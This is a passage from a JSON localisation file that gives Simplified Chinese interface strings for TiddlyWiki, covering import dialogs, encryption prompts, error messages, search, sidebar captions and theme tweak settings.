            "text": "显示 TiddlyWiki 的版本编号。\n\n```\n--version\n```\n"
        },
        "$:/language/Import/Imported/Hint": {
            "title": "$:/language/Import/Imported/Hint",
            "text": "下列条目已被导入:"
        },
        "$:/language/Import/Listing/Cancel/Caption": {
            "title": "$:/language/Import/Listing/Cancel/Caption",
            "text": "取消"
        },
        "$:/language/Import/Listing/Hint": {
            "title": "$:/language/Import/Listing/Hint",
            "text": "这些条目已备妥导入:"
        },
        "$:/language/Import/Listing/Import/Caption": {
            "title": "$:/language/Import/Listing/Import/Caption",
            "text": "导入"
        },
        "$:/language/Import/Listing/Select/Caption": {
            "title": "$:/language/Import/Listing/Select/Caption",
            "text": "选择"
        },
        "$:/language/Import/Listing/Status/Caption": {
            "title": "$:/language/Import/Listing/Status/Caption",
            "text": "状态"
        },
        "$:/language/Import/Listing/Title/Caption": {
            "title": "$:/language/Import/Listing/Title/Caption",
            "text": "条目"
        },
        "$:/language/Import/Listing/Preview": {
            "title": "$:/language/Import/Listing/Preview",
            "text": "预览:"
        },
        "$:/language/Import/Listing/Preview/Text": {
            "title": "$:/language/Import/Listing/Preview/Text",
            "text": "文本"
        },
        "$:/language/Import/Listing/Preview/TextRaw": {
            "title": "$:/language/Import/Listing/Preview/TextRaw",
            "text": "文本 (原始)"
        },
        "$:/language/Import/Listing/Preview/Fields": {
            "title": "$:/language/Import/Listing/Preview/Fields",
            "text": "字段"
        },
        "$:/language/Import/Listing/Preview/Diff": {
            "title": "$:/language/Import/Listing/Preview/Diff",
            "text": "差异"
        },
        "$:/language/Import/Listing/Preview/DiffFields": {
            "title": "$:/language/Import/Listing/Preview/DiffFields",
            "text": "差异 (字段)"
        },
        "$:/language/Import/Upgrader/Plugins/Suppressed/Incompatible": {
            "title": "$:/language/Import/Upgrader/Plugins/Suppressed/Incompatible",
            "text": "封锁的不兼容或过时插件"
        },
        "$:/language/Import/Upgrader/Plugins/Suppressed/Version": {
            "title": "$:/language/Import/Upgrader/Plugins/Suppressed/Version",
            "text": "封锁的插件 (由于传入的 <<incoming>> 较现有版本 <<existing>> 旧)"
        },
        "$:/language/Import/Upgrader/Plugins/Upgraded": {
            "title": "$:/language/Import/Upgrader/Plugins/Upgraded",
            "text": "升级插件,从 <<incoming>> 到 <<upgraded>>"
        },
        "$:/language/Import/Upgrader/State/Suppressed": {
            "title": "$:/language/Import/Upgrader/State/Suppressed",
            "text": "封锁的暂存状态条目"
        },
        "$:/language/Import/Upgrader/System/Suppressed": {
            "title": "$:/language/Import/Upgrader/System/Suppressed",
            "text": "封锁的系统条目"
        },
        "$:/language/Import/Upgrader/ThemeTweaks/Created": {
            "title": "$:/language/Import/Upgrader/ThemeTweaks/Created",
            "text": "从 <$text text=<<from>>/> 迁移布景主题"
        },
        "$:/language/AboveStory/ClassicPlugin/Warning": {
            "title": "$:/language/AboveStory/ClassicPlugin/Warning",
            "text": "您貌似要加载为 ~TiddlyWiki 经典版设计的插件。请注意,[[这些插件无法运行于 TiddlyWiki 5.x.x 版|https://tiddlywiki.com/#TiddlyWikiClassic]]。检测到 ~TiddlyWiki 经典版插件:"
        },
        "$:/language/BinaryWarning/Prompt": {
            "title": "$:/language/BinaryWarning/Prompt",
            "text": "此条目包含二进制数据"
        },
        "$:/language/ClassicWarning/Hint": {
            "title": "$:/language/ClassicWarning/Hint",
            "text": "此条目以经典版 TiddlyWiki 标记格式撰写,不完全兼容新版 TiddlyWiki 的格式,详细信息请参阅:https://tiddlywiki.com/static/Upgrading。"
        },
        "$:/language/ClassicWarning/Upgrade/Caption": {
            "title": "$:/language/ClassicWarning/Upgrade/Caption",
            "text": "升级"
        },
        "$:/language/CloseAll/Button": {
            "title": "$:/language/CloseAll/Button",
            "text": "全部关闭"
        },
        "$:/language/ColourPicker/Recent": {
            "title": "$:/language/ColourPicker/Recent",
            "text": "最近︰"
        },
        "$:/language/ConfirmCancelTiddler": {
            "title": "$:/language/ConfirmCancelTiddler",
            "text": "您确定要放弃对条目 \"<$text text=<<title>>/>\" 的更改?"
        },
        "$:/language/ConfirmDeleteTiddler": {
            "title": "$:/language/ConfirmDeleteTiddler",
            "text": "您确定要删除条目 \"<$text text=<<title>>/>\"?"
        },
        "$:/language/ConfirmOverwriteTiddler": {
            "title": "$:/language/ConfirmOverwriteTiddler",
            "text": "您确定要覆写条目 \"<$text text=<<title>>/>\"?"
        },
        "$:/language/ConfirmEditShadowTiddler": {
            "title": "$:/language/ConfirmEditShadowTiddler",
            "text": "您即将要编辑默认条目,任何更改将会覆盖默认的系统,使未来的升级不寻常。您确定要编辑 \"<$text text=<<title>>/>\"?"
        },
        "$:/language/Count": {
            "title": "$:/language/Count",
            "text": "计数"
        },
        "$:/language/DefaultNewTiddlerTitle": {
            "title": "$:/language/DefaultNewTiddlerTitle",
            "text": "新条目"
        },
        "$:/language/Diffs/CountMessage": {
            "title": "$:/language/Diffs/CountMessage",
            "text": "<<diff-count>> 个差异"
        },
        "$:/language/DropMessage": {
            "title": "$:/language/DropMessage",
            "text": "拖放到此处 (或按 ESC 键取消)"
        },
        "$:/language/Encryption/Cancel": {
            "title": "$:/language/Encryption/Cancel",
            "text": "取消"
        },
        "$:/language/Encryption/ConfirmClearPassword": {
            "title": "$:/language/Encryption/ConfirmClearPassword",
            "text": "您要清除密码吗?当保存此维基时,这将删除已套用的加密"
        },
        "$:/language/Encryption/Username": {
            "title": "$:/language/Encryption/Username",
            "text": "用户名称"
        },
        "$:/language/Encryption/Password": {
            "title": "$:/language/Encryption/Password",
            "text": "密码"
        },
        "$:/language/Encryption/PromptSetPassword": {
            "title": "$:/language/Encryption/PromptSetPassword",
            "text": "为此 TiddlyWiki 设置一个新密码"
        },
        "$:/language/Encryption/RepeatPassword": {
            "title": "$:/language/Encryption/RepeatPassword",
            "text": "重复输入密码"
        },
        "$:/language/Encryption/PasswordNoMatch": {
            "title": "$:/language/Encryption/PasswordNoMatch",
            "text": "密码不匹配"
        },
        "$:/language/Encryption/SetPassword": {
            "title": "$:/language/Encryption/SetPassword",
            "text": "设定密码"
        },
        "$:/language/Error/Caption": {
            "title": "$:/language/Error/Caption",
            "text": "错误"
        },
        "$:/language/Error/EditConflict": {
            "title": "$:/language/Error/EditConflict",
            "text": "服务器上的文件已更改"
        },
        "$:/language/Error/Filter": {
            "title": "$:/language/Error/Filter",
            "text": "筛选器错误"
        },
        "$:/language/Error/FilterSyntax": {
            "title": "$:/language/Error/FilterSyntax",
            "text": "筛选器运算式中的语法错误"
        },
        "$:/language/Error/IsFilterOperator": {
            "title": "$:/language/Error/IsFilterOperator",
            "text": "筛选器错误︰'is' 筛选器运算符的未知操作数"
        },
        "$:/language/Error/LoadingPluginLibrary": {
            "title": "$:/language/Error/LoadingPluginLibrary",
            "text": "加载插件程式库时,发生错误"
        },
        "$:/language/Error/RecursiveTransclusion": {
            "title": "$:/language/Error/RecursiveTransclusion",
            "text": "于 transclude 小部件中的递回嵌入错误"
        },
        "$:/language/Error/RetrievingSkinny": {
            "title": "$:/language/Error/RetrievingSkinny",
            "text": "简要条目清单撷取错误"
        },
        "$:/language/Error/SavingToTWEdit": {
            "title": "$:/language/Error/SavingToTWEdit",
            "text": "保存到 TWEdit 时,发生错误"
        },
        "$:/language/Error/WhileSaving": {
            "title": "$:/language/Error/WhileSaving",
            "text": "保存时,发生错误"
        },
        "$:/language/Error/XMLHttpRequest": {
            "title": "$:/language/Error/XMLHttpRequest",
            "text": "XMLHttpRequest 错误代码"
        },
        "$:/language/InternalJavaScriptError/Title": {
            "title": "$:/language/InternalJavaScriptError/Title",
            "text": "内部的 JavaScript 错误"
        },
        "$:/language/InternalJavaScriptError/Hint": {
            "title": "$:/language/InternalJavaScriptError/Hint",
            "text": "喔,真是令人尴尬。建议刷新您的浏览器,重新启动 TiddlyWiki"
        },
        "$:/language/InvalidFieldName": {
            "title": "$:/language/InvalidFieldName",
            "text": "栏位名称 \"<$text text=<<fieldName>>/>\" 包含无效字符,栏位名称只能包含小写字母、数字、底线 (`_`)、 连字号 (`-`) 和小数点 (`.`)"
        },
        "$:/language/LazyLoadingWarning": {
            "title": "$:/language/LazyLoadingWarning",
            "text": "<p>正在从 ''<$text text={{!!_canonical_uri}}/>'' 加载外部内容 ...</p><p>如果此信息未消失,可能是条目内容类型与外部内容的类型不匹配,或是您可能正在使用的浏览器,不支援单文件式维基的外部内容。请参阅 https://tiddlywiki.com/#ExternalText</p>"
        },
        "$:/language/LoginToTiddlySpace": {
            "title": "$:/language/LoginToTiddlySpace",
            "text": "登录 TiddlySpace"
        },
        "$:/language/Manager/Controls/FilterByTag/None": {
            "title": "$:/language/Manager/Controls/FilterByTag/None",
            "text": "(无)"
        },
        "$:/language/Manager/Controls/FilterByTag/Prompt": {
            "title": "$:/language/Manager/Controls/FilterByTag/Prompt",
            "text": "依标签筛选︰"
        },
        "$:/language/Manager/Controls/Order/Prompt": {
            "title": "$:/language/Manager/Controls/Order/Prompt",
            "text": "反向顺序"
        },
        "$:/language/Manager/Controls/Search/Placeholder": {
            "title": "$:/language/Manager/Controls/Search/Placeholder",
            "text": "搜寻"
        },
        "$:/language/Manager/Controls/Search/Prompt": {
            "title": "$:/language/Manager/Controls/Search/Prompt",
            "text": "搜寻︰"
        },
        "$:/language/Manager/Controls/Show/Option/Tags": {
            "title": "$:/language/Manager/Controls/Show/Option/Tags",
            "text": "标签"
        },
        "$:/language/Manager/Controls/Show/Option/Tiddlers": {
            "title": "$:/language/Manager/Controls/Show/Option/Tiddlers",
            "text": "条目"
        },
        "$:/language/Manager/Controls/Show/Prompt": {
            "title": "$:/language/Manager/Controls/Show/Prompt",
            "text": "显示︰"
        },
        "$:/language/Manager/Controls/Sort/Prompt": {
            "title": "$:/language/Manager/Controls/Sort/Prompt",
            "text": "排序︰"
        },
        "$:/language/Manager/Item/Colour": {
            "title": "$:/language/Manager/Item/Colour",
            "text": "颜色"
        },
        "$:/language/Manager/Item/Fields": {
            "title": "$:/language/Manager/Item/Fields",
            "text": "栏位"
        },
        "$:/language/Manager/Item/Icon/None": {
            "title": "$:/language/Manager/Item/Icon/None",
            "text": "(无)"
        },
        "$:/language/Manager/Item/Icon": {
            "title": "$:/language/Manager/Item/Icon",
            "text": "图标"
        },
        "$:/language/Manager/Item/RawText": {
            "title": "$:/language/Manager/Item/RawText",
            "text": "原始文字"
        },
        "$:/language/Manager/Item/Tags": {
            "title": "$:/language/Manager/Item/Tags",
            "text": "标签"
        },
        "$:/language/Manager/Item/Tools": {
            "title": "$:/language/Manager/Item/Tools",
            "text": "工具"
        },
        "$:/language/Manager/Item/WikifiedText": {
            "title": "$:/language/Manager/Item/WikifiedText",
            "text": "Wikified 文字"
        },
        "$:/language/MissingTiddler/Hint": {
            "title": "$:/language/MissingTiddler/Hint",
            "text": "佚失条目 \"<$text text=<<currentTiddler>>/>\" - 点击 {{||$:/core/ui/Buttons/edit}} 可创建此条目"
        },
        "$:/language/No": {
            "title": "$:/language/No",
            "text": "否"
        },
        "$:/language/OfficialPluginLibrary": {
            "title": "$:/language/OfficialPluginLibrary",
            "text": "~TiddlyWiki 官方插件程式库"
        },
        "$:/language/OfficialPluginLibrary/Hint": {
            "title": "$:/language/OfficialPluginLibrary/Hint",
            "text": "此为在 tiddlywiki.com 的 ~TiddlyWiki 官方插件程式库。由核心团队维护的插件、主题和语言包。"
        },
        "$:/language/PluginReloadWarning": {
            "title": "$:/language/PluginReloadWarning",
            "text": "请保存 {{$:/core/ui/Buttons/save-wiki}} 并刷新页面 {{$:/core/ui/Buttons/refresh}} 允许更改插件才能生效"
        },
        "$:/language/RecentChanges/DateFormat": {
            "title": "$:/language/RecentChanges/DateFormat",
            "text": "YYYY年0MM月0DD日"
        },
        "$:/language/SystemTiddler/Tooltip": {
            "title": "$:/language/SystemTiddler/Tooltip",
            "text": "此为系统条目"
        },
        "$:/language/SystemTiddlers/Include/Prompt": {
            "title": "$:/language/SystemTiddlers/Include/Prompt",
            "text": "包括系统条目"
        },
        "$:/language/TagManager/Colour/Heading": {
            "title": "$:/language/TagManager/Colour/Heading",
            "text": "颜色"
        },
        "$:/language/TagManager/Count/Heading": {
            "title": "$:/language/TagManager/Count/Heading",
            "text": "计数"
        },
        "$:/language/TagManager/Icon/Heading": {
            "title": "$:/language/TagManager/Icon/Heading",
            "text": "图标"
        },
        "$:/language/TagManager/Info/Heading": {
            "title": "$:/language/TagManager/Info/Heading",
            "text": "信息"
        },
        "$:/language/TagManager/Tag/Heading": {
            "title": "$:/language/TagManager/Tag/Heading",
            "text": "标签"
        },
        "$:/language/Tiddler/DateFormat": {
            "title": "$:/language/Tiddler/DateFormat",
            "text": "YYYY年0MM月0DD日 0hh:0mm"
        },
        "$:/language/UnsavedChangesWarning": {
            "title": "$:/language/UnsavedChangesWarning",
            "text": "在此 TiddlyWiki 您有尚未保存的变更"
        },
        "$:/language/Yes": {
            "title": "$:/language/Yes",
            "text": "是"
        },
        "$:/language/Modals/Download": {
            "title": "$:/language/Modals/Download",
            "type": "text/vnd.tiddlywiki",
            "subtitle": "Download changes",
            "footer": "<$button message=\"tm-close-tiddler\">关闭</$button>",
            "help": "https://tiddlywiki.com/",
            "text": "您的浏览器只支援手动保存。\n\n要保存更动的维基,右键点击下方的下载链结,选择\"下载文件\"或\"保存文件\",然后选择文件夹或文件名。\n\n//您可以藉由按一下 Ctrl 键(Windows)或 options/ alt 键(Mac OS X)中的链接,稍微加速操作。您不会被提示文件夹或文件名,您的浏览器可能无法辨认它的文件名 -- 在做其他任何事之前,您可能需要重新命名扩展名为 `.html` 的文件。//\n\n在智能型手机上,不允许下载文件,但您可以标记链结,然后从一台可以正常保存维基的台式机的维基同步你的书签。"
        },
        "$:/language/Modals/SaveInstructions": {
            "title": "$:/language/Modals/SaveInstructions",
            "type": "text/vnd.tiddlywiki",
            "subtitle": "Save your work",
            "footer": "<$button message=\"tm-close-tiddler\">关闭</$button>",
            "help": "https://tiddlywiki.com/static/SavingChanges.html",
            "text": "您对此 wiki 的变更需被保存为 ~TiddlyWiki HTML 文件。\n\n!!! 桌面版浏览器\n\n# 从''文件''菜单点选 ''另存为''\n# 选定文件名及保存位置\n#* 某些浏览器依然需要明确指定文件格式为 ''Webpage, HTML only'' 或类似的。\n# 关闭此页签\n\n!!! 智能手机版浏览器\n\n# 为此页建立书签\n#* 若您已设置 iCloud 或 Google 同步,该书签将自动与之前开启及保存于您电脑的书签同步。\n# 关闭此页签\n\n//若您再次于 Mobile Safari 开启该书签,将会再看到此信息。若要继续使用该文件,只需点击下列 ''关闭'' 按钮//\n"
        },
        "$:/config/NewJournal/Title": {
            "title": "$:/config/NewJournal/Title",
            "text": "YYYY年0MM月0DD日"
        },
        "$:/config/NewJournal/Text": {
            "title": "$:/config/NewJournal/Text",
            "text": ""
        },
        "$:/config/NewJournal/Tags": {
            "title": "$:/config/NewJournal/Tags",
            "text": "日志"
        },
        "$:/language/Notifications/Save/Done": {
            "title": "$:/language/Notifications/Save/Done",
            "text": "已保存 wiki"
        },
        "$:/language/Notifications/Save/Starting": {
            "title": "$:/language/Notifications/Save/Starting",
            "text": "开始保存 wiki"
        },
        "$:/language/Notifications/CopiedToClipboard/Succeeded": {
            "title": "$:/language/Notifications/CopiedToClipboard/Succeeded",
            "text": "已复制到剪贴板!"
        },
        "$:/language/Notifications/CopiedToClipboard/Failed": {
            "title": "$:/language/Notifications/CopiedToClipboard/Failed",
            "text": "无法复制到剪贴板!"
        },
        "$:/language/Search/DefaultResults/Caption": {
            "title": "$:/language/Search/DefaultResults/Caption",
            "text": "列表"
        },
        "$:/language/Search/Filter/Caption": {
            "title": "$:/language/Search/Filter/Caption",
            "text": "筛选"
        },
        "$:/language/Search/Filter/Hint": {
            "title": "$:/language/Search/Filter/Hint",
            "text": "以[[筛选表达式|https://tiddlywiki.com/static/Filters.html]]查找"
        },
        "$:/language/Search/Filter/Matches": {
            "title": "$:/language/Search/Filter/Matches",
            "text": "//<small><<resultCount>> 个条目符合条件</small>//"
        },
        "$:/language/Search/Matches": {
            "title": "$:/language/Search/Matches",
            "text": "//<small><<resultCount>> 个条目符合条件</small>//"
        },
        "$:/language/Search/Matches/All": {
            "title": "$:/language/Search/Matches/All",
            "text": "所有匹配:"
        },
        "$:/language/Search/Matches/Title": {
            "title": "$:/language/Search/Matches/Title",
            "text": "条目名称匹配:"
        },
        "$:/language/Search/Search": {
            "title": "$:/language/Search/Search",
            "text": "查找"
        },
        "$:/language/Search/Search/TooShort": {
            "title": "$:/language/Search/Search/TooShort",
            "text": "查找文本太短"
        },
        "$:/language/Search/Shadows/Caption": {
            "title": "$:/language/Search/Shadows/Caption",
            "text": "默认"
        },
        "$:/language/Search/Shadows/Hint": {
            "title": "$:/language/Search/Shadows/Hint",
            "text": "查找默认条目"
        },
        "$:/language/Search/Shadows/Matches": {
            "title": "$:/language/Search/Shadows/Matches",
            "text": "//<small><<resultCount>> 个条目符合条件</small>//"
        },
        "$:/language/Search/Standard/Caption": {
            "title": "$:/language/Search/Standard/Caption",
            "text": "标准"
        },
        "$:/language/Search/Standard/Hint": {
            "title": "$:/language/Search/Standard/Hint",
            "text": "查找一般条目"
        },
        "$:/language/Search/Standard/Matches": {
            "title": "$:/language/Search/Standard/Matches",
            "text": "//<small><<resultCount>> 个条目符合条件</small>//"
        },
        "$:/language/Search/System/Caption": {
            "title": "$:/language/Search/System/Caption",
            "text": "系统"
        },
        "$:/language/Search/System/Hint": {
            "title": "$:/language/Search/System/Hint",
            "text": "查找系统条目"
        },
        "$:/language/Search/System/Matches": {
            "title": "$:/language/Search/System/Matches",
            "text": "//<small><<resultCount>> 个条目符合条件</small>//"
        },
        "$:/language/SideBar/All/Caption": {
            "title": "$:/language/SideBar/All/Caption",
            "text": "全部"
        },
        "$:/language/SideBar/Contents/Caption": {
            "title": "$:/language/SideBar/Contents/Caption",
            "text": "目录"
        },
        "$:/language/SideBar/Drafts/Caption": {
            "title": "$:/language/SideBar/Drafts/Caption",
            "text": "草稿"
        },
        "$:/language/SideBar/Explorer/Caption": {
            "title": "$:/language/SideBar/Explorer/Caption",
            "text": "探索"
        },
        "$:/language/SideBar/Missing/Caption": {
            "title": "$:/language/SideBar/Missing/Caption",
            "text": "缺失"
        },
        "$:/language/SideBar/More/Caption": {
            "title": "$:/language/SideBar/More/Caption",
            "text": "更多"
        },
        "$:/language/SideBar/Open/Caption": {
            "title": "$:/language/SideBar/Open/Caption",
            "text": "开启"
        },
        "$:/language/SideBar/Orphans/Caption": {
            "title": "$:/language/SideBar/Orphans/Caption",
            "text": "孤立"
        },
        "$:/language/SideBar/Recent/Caption": {
            "title": "$:/language/SideBar/Recent/Caption",
            "text": "最近"
        },
        "$:/language/SideBar/Shadows/Caption": {
            "title": "$:/language/SideBar/Shadows/Caption",
            "text": "默认"
        },
        "$:/language/SideBar/System/Caption": {
            "title": "$:/language/SideBar/System/Caption",
            "text": "系统"
        },
        "$:/language/SideBar/Tags/Caption": {
            "title": "$:/language/SideBar/Tags/Caption",
            "text": "标签"
        },
        "$:/language/SideBar/Tags/Untagged/Caption": {
            "title": "$:/language/SideBar/Tags/Untagged/Caption",
            "text": "未设标签"
        },
        "$:/language/SideBar/Tools/Caption": {
            "title": "$:/language/SideBar/Tools/Caption",
            "text": "工具"
        },
        "$:/language/SideBar/Types/Caption": {
            "title": "$:/language/SideBar/Types/Caption",
            "text": "类型"
        },
        "$:/SiteSubtitle": {
            "title": "$:/SiteSubtitle",
            "text": "一个非线性的网页式笔记"
        },
        "$:/SiteTitle": {
            "title": "$:/SiteTitle",
            "text": "我的 ~TiddlyWiki"
        },
        "$:/language/Snippets/ListByTag": {
            "title": "$:/language/Snippets/ListByTag",
            "tags": "$:/tags/TextEditor/Snippet",
            "caption": "依标签筛选的条目列表",
            "text": "<<list-links \"[tag[task]sort[title]]\">>\n"
        },
        "$:/language/Snippets/MacroDefinition": {
            "title": "$:/language/Snippets/MacroDefinition",
            "tags": "$:/tags/TextEditor/Snippet",
            "caption": "宏的定义",
            "text": "\\define macroName(param1:\"默认值\",param2)\n宏的内容\n\\end\n"
        },
        "$:/language/Snippets/Table4x3": {
            "title": "$:/language/Snippets/Table4x3",
            "tags": "$:/tags/TextEditor/Snippet",
            "caption": "4 x 3 的表格",
            "text": "|! | !一 | !二 | !三 | !四 |\n|! 1| | | | |\n|! 2| | | | |\n|! 3 | | | | |\n"
        },
        "$:/language/Snippets/TableOfContents": {
            "title": "$:/language/Snippets/TableOfContents",
            "tags": "$:/tags/TextEditor/Snippet",
            "caption": "目录",
            "text": "<div class=\"tc-table-of-contents\">\n\n<<toc-selective-expandable 'TableOfContents'>>\n\n</div>"
        },
        "$:/language/ThemeTweaks/ThemeTweaks": {
            "title": "$:/language/ThemeTweaks/ThemeTweaks",
            "text": "主题调整"
        },
        "$:/language/ThemeTweaks/ThemeTweaks/Hint": {
            "title": "$:/language/ThemeTweaks/ThemeTweaks/Hint",
            "text": "您可以调整 ''Vanilla'' 布景主题的某些样貌。"
        },
        "$:/language/ThemeTweaks/Options": {
            "title": "$:/language/ThemeTweaks/Options",
            "text": "选项"
        },
        "$:/language/ThemeTweaks/Options/SidebarLayout": {
            "title": "$:/language/ThemeTweaks/Options/SidebarLayout",
            "text": "侧边栏布局"
        },
        "$:/language/ThemeTweaks/Options/SidebarLayout/Fixed-Fluid": {
            "title": "$:/language/ThemeTweaks/Options/SidebarLayout/Fixed-Fluid",
            "text": "固定故事,浮动侧边栏"
        },
        "$:/language/ThemeTweaks/Options/SidebarLayout/Fluid-Fixed": {
            "title": "$:/language/ThemeTweaks/Options/SidebarLayout/Fluid-Fixed",
            "text": "浮动故事,固定侧边栏"
        },
        "$:/language/ThemeTweaks/Options/StickyTitles": {
            "title": "$:/language/ThemeTweaks/Options/StickyTitles",
            "text": "置顶标题"
        },
        "$:/language/ThemeTweaks/Options/StickyTitles/Hint": {
            "title": "$:/language/ThemeTweaks/Options/StickyTitles/Hint",
            "text": "使条目名称\"黏着\"于浏览器窗口的顶端"
        },
        "$:/language/ThemeTweaks/Options/CodeWrapping": {
            "title": "$:/language/ThemeTweaks/Options/CodeWrapping",
            "text": "在代码区块中折行"
        },
        "$:/language/ThemeTweaks/Settings": {
            "title": "$:/language/ThemeTweaks/Settings",
            "text": "设置"
        },
        "$:/language/ThemeTweaks/Settings/FontFamily": {
            "title": "$:/language/ThemeTweaks/Settings/FontFamily",
            "text": "字型"
        },
        "$:/language/ThemeTweaks/Settings/CodeFontFamily": {
            "title": "$:/language/ThemeTweaks/Settings/CodeFontFamily",
            "text": "代码字型"
        },
        "$:/language/ThemeTweaks/Settings/EditorFontFamily": {
            "title": "$:/language/ThemeTweaks/Settings/EditorFontFamily",
            "text": "编辑器字型"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImage": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImage",
            "text": "页面背景图像"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment",
            "text": "页面背景图像附属"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Scroll": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Scroll",
            "text": "随条目卷动"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Fixed": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageAttachment/Fixed",
            "text": "固定于窗口"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageSize": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize",
            "text": "页面背景图像大小"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Auto": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Auto",
            "text": "自动"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Cover": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Cover",
            "text": "覆盖"
        },
        "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Contain": {
            "title": "$:/language/ThemeTweaks/Settings/BackgroundImageSize/Contain",
            "text": "包含"
        },
        "$:/language/ThemeTweaks/Metrics": {
            "title": "$:/language/ThemeTweaks/Metrics",
            "text": "大小"
        },
        "$:/language/ThemeTweaks/Metrics/FontSize": {
            "title": "$:/language/ThemeTweaks/Metrics/FontSize",
            "text": "字体大小"
        },
        "$:/language/ThemeTweaks/Metrics/LineHeight": {
            "title": "$:/language/ThemeTweaks/Metrics/LineHeight",
            "text": "行高"
        },
        "$:/language/ThemeTweaks/Metrics/BodyFontSize": {
            "title": "$:/language/ThemeTweaks/Metrics/BodyFontSize",
            "text": "条目本文的字体大小"
        },
        "$:/language/ThemeTweaks/Metrics/BodyLineHeight": {
            "title": "$:/language/ThemeTweaks/Metrics/BodyLineHeight",
            "text": "条目本文的行高"
        },
        "$:/language/ThemeTweaks/Metrics/StoryLeft": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryLeft",
            "text": "故事左侧位置"
        },
        "$:/language/ThemeTweaks/Metrics/StoryLeft/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryLeft/Hint",
            "text": "故事河(条目区)的左边缘与页面左端的间距"
        },
        "$:/language/ThemeTweaks/Metrics/StoryTop": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryTop",
            "text": "故事顶端位置"
        },
        "$:/language/ThemeTweaks/Metrics/StoryTop/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryTop/Hint",
            "text": "故事河(条目区)的上边缘与页面顶端的间距"
        },
        "$:/language/ThemeTweaks/Metrics/StoryRight": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryRight",
            "text": "故事右侧位置"
        },
        "$:/language/ThemeTweaks/Metrics/StoryRight/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryRight/Hint",
            "text": "侧边栏的左边缘与页面左端的间距"
        },
        "$:/language/ThemeTweaks/Metrics/StoryWidth": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryWidth",
            "text": "故事的宽度"
        },
        "$:/language/ThemeTweaks/Metrics/StoryWidth/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/StoryWidth/Hint",
            "text": "故事河的整体宽度"
        },
        "$:/language/ThemeTweaks/Metrics/TiddlerWidth": {
            "title": "$:/language/ThemeTweaks/Metrics/TiddlerWidth",
            "text": "条目宽度"
        },
        "$:/language/ThemeTweaks/Metrics/TiddlerWidth/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/TiddlerWidth/Hint",
            "text": "在故事河内"
        },
        "$:/language/ThemeTweaks/Metrics/SidebarBreakpoint": {
            "title": "$:/language/ThemeTweaks/Metrics/SidebarBreakpoint",
            "text": "侧边栏中断点"
        },
        "$:/language/ThemeTweaks/Metrics/SidebarBreakpoint/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/SidebarBreakpoint/Hint",
            "text": "故事河和侧边栏会并排显示的最小页面宽度"
        },
        "$:/language/ThemeTweaks/Metrics/SidebarWidth": {
            "title": "$:/language/ThemeTweaks/Metrics/SidebarWidth",
            "text": "侧边栏宽度"
        },
        "$:/language/ThemeTweaks/Metrics/SidebarWidth/Hint": {
            "title": "$:/language/ThemeTweaks/Metrics/SidebarWidth/Hint",
            "text": "在浮动-固定布局中,侧边栏的宽度"
        },
        "$:/language/TiddlerInfo/Advanced/Caption": {
            "title": "$:/language/TiddlerInfo/Advanced/Caption",
            "text": "高级"
        },
        "$:/language/TiddlerInfo/Advanced/PluginInfo/Empty/Hint": {
            "title": "$:/language/TiddlerInfo/Advanced/PluginInfo/Empty/Hint",
            "text": "无信息"
        },
        "$:/language/TiddlerInfo/Advanced/PluginInfo/Heading": {
            "title": "$:/language/TiddlerInfo/Advanced/PluginInfo/Heading",
            "text": "插件明细"
        },
        "$:/language/TiddlerInfo/Advanced/PluginInfo/Hint": {
            "title": "$:/language/TiddlerInfo/Advanced/PluginInfo/Hint",
            "text": "此插件包含以下预设条目:"
        },
        "$:/language/TiddlerInfo/Advanced/ShadowInfo/Heading": {
            "title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/Heading",
            "text": "默认条目状态"
        },
        "$:/language/TiddlerInfo/Advanced/ShadowInfo/NotShadow/Hint": {
            "title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/NotShadow/Hint",
            "text": "<$link to=<<infoTiddler>>><$text text=<<infoTiddler>>/></$link> 不是一个默认条目"
        },
        "$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Hint": {
            "title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Hint",
            "text": "<$link to=<<infoTiddler>>><$text text=<<infoTiddler>>/></$link> 是一个默认条目"
        },
        "$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Source": {
            "title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/Shadow/Source",
            "text": "此条目定义于插件 <$link to=<<pluginTiddler>>><$text text=<<pluginTiddler>>/></$link>"
        },
        "$:/language/TiddlerInfo/Advanced/ShadowInfo/OverriddenShadow/Hint": {
            "title": "$:/language/TiddlerInfo/Advanced/ShadowInfo/OverriddenShadow/Hint",
            "text": "已被一般条目覆写"
        },
        "$:/language/TiddlerInfo/Fields/Caption": {
            "title": "$:/language/TiddlerInfo/Fields/Caption",
            "text": "栏位"
        },
        "$:/language/TiddlerInfo/List/Caption": {
            "title": "$:/language/TiddlerInfo/List/Caption",
            "text": "列表"
        },
        "$:/language/TiddlerInfo/List/Empty": {
            "title": "$:/language/TiddlerInfo/List/Empty",
            "text": "此条目无指定列表"
        },
        "$:/language/TiddlerInfo/Listed/Caption": {
            "title": "$:/language/TiddlerInfo/Listed/Caption",
            "text": "被列于"
        },
